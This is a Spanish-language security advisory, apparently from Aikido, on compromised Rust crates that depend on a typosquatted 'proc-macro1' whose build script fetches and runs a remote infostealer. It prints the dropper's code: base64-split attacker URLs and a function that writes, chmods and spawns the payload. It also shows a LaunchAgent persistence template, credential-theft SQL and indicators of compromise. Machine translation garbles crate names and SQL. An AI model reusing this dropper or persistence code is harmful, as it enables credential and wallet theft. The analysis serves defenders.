El 20 de agosto detectamos dos crates populares de Rust del mismo mantenedor, vector de solo adición (4 millones de descargas) y referencia a una matriz (244 millones de descargas), se vieron comprometidas. El atacante añadió una dependencia maliciosa en un paquete llamado proc-macro1, que descarga una carga útil remota durante la compilación y la ejecuta en el ordenador del desarrollador. Dado que la dependencia se ejecuta en el momento de la compilación, basta con compilar un proyecto que incorpore cualquiera de los dos crates para desencadenar la infección, sin necesidad de invocar ninguna de las funcionalidades reales del crate. Esto es considerablemente más grave que el Anterior: Compromiso sobre las cajas de Onering del que hablamos en junio. En esta ocasión, el alcance del ataque es mucho mayor, lo que lo convierte en la mayor filtración de cajas de Rust que hemos visto en cuanto a número de descargas.
Qué ocurrió
La primera vez que lo vimos fue proc-macro1 en nuestra canalización como un nuevo paquete que realiza una acción sospechosa: descarga un archivo remoto y lo ejecuta. El nombre es un «typosquat» de proc-macro2, uno de los crates más utilizados en el ecosistema de Rust, y el paquete copia la descripción, el nombre del autor y la documentación del crate original para hacerse pasar por el proyecto auténtico. Dado el escaso número de descargas, al principio no le dimos mucha importancia. Sin embargo, en menos de una hora vimos que el responsable de mantenimiento de vector de solo adición y referencia a una matriz depender de repente de proc-macro1. Eso fue lo que convirtió un simple caso de «typosquatting» en un auténtico incidente en la cadena de suministro.
Las dos crates afectadas parecen correctas a primera vista. Su código fuente de la biblioteca es el código original del desarrollador original, y ninguna de las dos crates hace referencia a proc-macro1 en cualquier parte de su código fuente. El ataque consiste únicamente en una única línea insertada en cada manifiesto:
[dependencias]
proc-macro1 = "1.0.107"La lógica maliciosa reside íntegramente en el build.rs archivo de proc-macro1, que Cargo compila y ejecuta automáticamente durante una compilación. El script de compilación oculta su destino de red en forma de fragmentos base64 para eludir los escáneres de cadenas:
// SRC se decodifica como https://23[.]254[.]165[.]112:9089/
const SRC_URL_PARTS: &[&str] = &["aHR0cHM6Ly8=", "MjMuMjU0Lg==", "MTY1Lg==", «MTEyOg==», «OTA4OS8=»];
// END se decodifica como 23[.]254[.]165[.]112:443
const END_URL_PARTS: &[&str] = &["MjMuMjU0Lg==", "MTY1Lg==", "MTEyOg==", «NDQz»];En el momento de la compilación, selecciona una carga útil específica para el sistema operativo y la arquitectura de CPU exactos de la víctima (Linux x86_64, Windows x86_64, macOS x86_64, macOS aarch64) y, a continuación, la descarga a través de HTTPS mediante una solicitud GET sin cifrar. En Unix y macOS, escribe los bytes descargados en el disco, marca el archivo como ejecutable y lo ejecuta en segundo plano, ocultando su salida:
fn run_unix_payload(bytes: Vec<u8>) {
let path = PathBuf::from("/tmp/rust-setup");
std::fs::write(&path, &bytes).expect("failed to write payload");
// chmod +x /tmp/rust-setup
Command::new("chmod").args(["+x", path.to_str().unwrap()]).status().unwrap();
// execute detached, handing it the second address (23[.]254[.]165[.]112:443)
Command::new(&path)
.arg(end_url())
.stdin(Stdio::null())
.stdout(Stdio::null())
.stderr(Stdio::null())
.spawn()
.expect("failed to spawn payload");
}En Windows, escribe un script de PowerShell y lo ejecuta de forma oculta mediante un lanzador wscript y .vbs, una técnica que, según indica el propio comentario del código, se ha elegido para escape el objeto de tarea de Cargo, de modo que el proceso generado siga ejecutándose una vez finalizada la compilación.
También hemos detectado un paquete malicioso similar llamado proc-macro-es, publicado bajo el nombre del autor daveroundy. Ese nombre de autor imita droundy, el responsable legítimo de vector de solo adición y referencia a una matriz, lo que sugiere que el atacante estaba creando paquetes similares adicionales y haciéndose pasar por el mismo responsable del mantenimiento para darles credibilidad.
La carga útil
Hemos obtenido dos de las cuatro versiones de la plataforma: la de Linux x86_64 ELF (rust-crate_0.1.0) y el Mach-O de macOS para aarch64 (rust-crate_0.4.0). La muestra de Windows PowerShell que recibimos era un archivo de cero bytes, por lo que no contenía ningún contenido que analizar. Ambos binarios nativos son ejecutables de Rust, y ambos pertenecen a la misma familia de malware compilada para diferentes objetivos.
Su servidor de comando y control no está codificado de forma fija en el binario. En su lugar, el binario lo lee a partir del argumento de la línea de comandos con el que se ha ejecutado, que es precisamente la segunda dirección (23[.]254[.]165[.]112:443) que el build.rs El dropper pasa cuando genera la carga útil. Por lo tanto, la dirección IP es un indicador de este ataque, y el mismo binario podría reutilizarse en el futuro con un C2 diferente.
Lo hemos confirmado en la versión para macOS mediante desensamblado. El programa de robo de datos lee los argumentos de su propio proceso a través de _NSGetArgc y _NSGetArgv, los recopila en una lista y, posteriormente, introduce un valor de host en una ruta de construcción de URL: https://{host}/49890878.
Ladrón de información
La carga útil contiene un programa de robo de información que busca las credenciales almacenadas por los navegadores basados en Chromium. La versión para macOS hace referencia a las ubicaciones de los perfiles de Google Chrome, Brave y Microsoft Edge, e incluye código SQL incrustado que lee las credenciales guardadas directamente de la base de datos de inicio de sesión del navegador:
SELECT DISTINCT url_origen DE inicios_de_sesión DONDE url_origen ES NO NULO ...
SELECT DISTINCT valor_nombre_usuario FROM inicios_de_sesión DONDE valor_del_nombre_de_usuario ES NO NULO ...También hace referencia al almacenamiento de las extensiones del navegador (Configuración de extensión local), que es donde muchas carteras de criptomonedas basadas en navegador almacenan sus datos, por lo que el alcance de la recopilación abarca tanto los datos de inicio de sesión guardados como el contenido de las carteras.
Persistencia
En macOS, la compilación incluye una plantilla de lista de propiedades de LaunchAgent y el Biblioteca/Agentes de inicio componente de ruta, junto con un RunAtLoad clave. La plantilla se rellena en tiempo de ejecución y está configurada para ejecutar un comando de shell a través de /bin/zsh -c.
Hemos recuperado la plantilla incrustada. La Etiqueta y la cadena de comando son marcadores de posición que se rellenan cuando el agente se guarda en el disco:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>x</string>
<key>ProgramArguments</key>
<array>
<string>/bin/zsh</string>
<string>-c</string>
<string>D</string>
</array>
<key>RunAtLoad</key>
<true/>
</dict>
</plist>La presencia de esta plantilla y la Biblioteca/Agentes de inicio La ruta es una prueba clara de que la carga útil está configurada para instalar un LaunchAgent a nivel de usuario con el fin de garantizar su persistencia.
Mando y control
Tenemos pruebas sólidas de que la carga útil también contiene un ejecutor de comandos remotos ligero. Una vez iniciado, realiza un registro en el servidor, enviando un conjunto estructurado de campos que identifican el equipo infectado, incluyendo un identificador, la URL principal y datos básicos del host, tales como os_type, os_ver, os_arch, versión_de_la_plataforma, app, y Correo electrónico. A continuación, el servidor puede responder con tareas, y la carga útil se la entrega a un distribuidor interno. El distribuidor admite un pequeño conjunto fijo de comandos. Los nombres que hemos recuperado son minicfg, startup, runscript, Concha, y ShellX. El runscript, Concha, y ShellX son los comandos de ejecución. También hemos encontrado una primitiva de espera temporizada, lo que indica que es probable que la carga útil consulte al servidor C2 a intervalos regulares para comprobar si hay nuevos comandos, en lugar de ponerse en contacto con él solo una vez.
Cómo Aikido detecta esto
Si es usuario de Aikido, revise su feed central y filtre por problemas de malware. Esto aparecerá como un problema crítico de 100/100. Aikido realiza reescaneos cada noche, pero recomendamos activar un reescaneo manual ahora.
Si aún no es usuario de Aikido, puede crear una cuenta y conectar sus repositorios. Nuestra cobertura de malware está incluida en el plan gratuito, sin necesidad de tarjeta de crédito.
Para una cobertura más amplia en todo su equipo, Device Protection de Aikido le proporciona visibilidad y control sobre los paquetes de software instalados en los dispositivos de su equipo. Cubre extensiones de navegador, bibliotecas de código, plugins IDE y dependencias de compilación, todo en un solo lugar. Detenga el malware antes de que se instale.
Para una protección futura, considere Aikido Safe Chain (código abierto). Safe Chain se integra en su flujo de trabajo existente, interceptando comandos npm, npx, yarn, pnpm y pnpx y verificando los paquetes con Aikido Intel antes de la instalación.
Indicadores de compromiso
Paquetes afectados
proc-macro-es1.0.10 (dependencia maliciosa)proc-macro11.0.107 (dependencia maliciosa)vector de solo adición0.1.9, vulnerable (4.484.606 descargas)referencia a una matriz0.3.10, comprometida (244 989 384 descargas)
Indicadores de red
23[.]254[.]165[.]112:9089- Servidor de entrega de carga útil23[.]254[.]165[.]112:443- El servidor C2 se pasa como argumento a la carga útil ejecutada
Indicadores de archivo
Los archivos binarios de la carga útil proc-macro1 descargas, descendió a /tmp/rust-setup En Linux y macOS:
rust-crate_0.1.0(ELF para Linux x86_64)- SHA-256:
408ef22050ffc5a67e005802809026b29f297a8019f8fda91a2afa8e877ba434
- SHA-256:
rust-crate_0.4.0(macOS aarch64 Mach-O)- SHA-256:
74d3447e7cf99c99ea01a16332ec27432dfb0f491e10e67cd118065a60483306
- SHA-256:

